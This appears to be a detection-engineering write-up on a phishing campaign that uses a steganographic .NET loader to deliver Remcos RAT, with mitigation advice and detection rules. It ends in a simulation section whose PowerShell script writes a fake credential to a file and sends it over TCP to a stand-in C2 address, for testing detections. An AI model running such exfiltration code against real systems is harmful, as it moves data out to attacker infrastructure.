A Multi-Stage Steganographic Loader Campaign Deploying Diverse Payloads Worldwide
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
A multi-stage malware campaign relies on steganography and in-memory execution to deliver multiple payloads, including Remcos RAT. The infection chain starts with a phishing email carrying a malicious archive that drops a .NET executable. That executable uses embedded resources and steganographic methods to load later stages directly into memory, helping the malware avoid disk-based detection.
Investigation
The investigation began after telemetry flagged a suspicious file named GST Debit Note Apr_26.com. Analysts determined that the file was a packed 32-bit .NET executable disguised as a game. Further reverse engineering revealed steganography embedded in a .NET Bitmap object, which concealed the next-stage loader, Optimax.dll, and allowed it to run fully in memory.
Mitigation
Organizations should deploy strong email filtering to block suspicious archive attachments and phishing attempts. EDR solutions should be capable of detecting in-memory execution, process hollowing, and suspicious PowerShell behavior. Teams should also monitor for unauthorized registry changes, especially in Run keys, and enforce strict application control to prevent unsigned executables from launching.
Response
Affected endpoints should be isolated immediately to limit lateral movement and data theft. Investigators should perform memory forensics to identify fileless components and confirm the presence of the Remcos_Mutex_Inj mutex. A full sweep should also check for unauthorized persistence in the AppData directory and registry Run keys, while credentials should be reset for any users whose browsers may have been accessed by the malware.
Attack Flow
Detections
Call Suspicious .NET Methods from Powershell (via powershell)
View
Possible Persistence Points [ASEPs – Software/NTUSER Hive] (via registry_event)
View
The Possibility of Execution Through Hidden PowerShell Command Lines (via cmdline)
View
Possible Powershell Obfuscation Indicators (via powershell)
View
Exfiltration of Captured Data to Command and Control [Windows Network Connection]
View
Execution of Obfuscated PowerShell Script in Steganographic Loader Campaign [Windows Powershell]
View
Detection of Remcos RAT Infection via Steganographic and Fileless Techniques [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre-flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands: The adversary has successfully established a foothold. To complete the objective, they collect system telemetry and stash it in a file named
logs.datto masquerade as standard system logs. The adversary then initiates a network connection to the established C2 infrastructure (using the IP1.2.3.4and port37393for this simulation) to exfiltrate the data. This mimics the behavior of a steganographic loader attempting to move data out of the network via a specific, hardcoded channel. -
Regression Test Script:
# Simulation of Data Exfiltration via specific filename and C2 parameters $C2_IP = "1.2.3.4" # Simulated C2 IP $C2_PORT = 37393 $FILENAME = "logs.dat" # 1. Create the 'malicious' data file Write-Output "Sensitive Data: UserCredentials_Admin_Pass123" | Out-File -FilePath "$env:TEMP$FILENAME" # 2. Simulate the network connection to the C2 # Using a TCP Client to force the specific port/IP telemetry try { $client = New-Object System.Net.Sockets.TcpClient($C2_IP, $C2_PORT) $stream = $client.GetStream() $data = [System.Text.Encoding]::ASCII.GetBytes((Get-Content "$env:TEMP$FILENAME")) $stream.Write($data, 0, $data.Length) $client.Close() } catch { Write-Host "Connection failed (Expected if IP is non-existent), but telemetry should be captured by the firewall." } -
Cleanup Commands:
# Remove the simulated malicious file Remove-Item -Path "$env:TEMPlogs.dat" -ErrorAction SilentlyContinue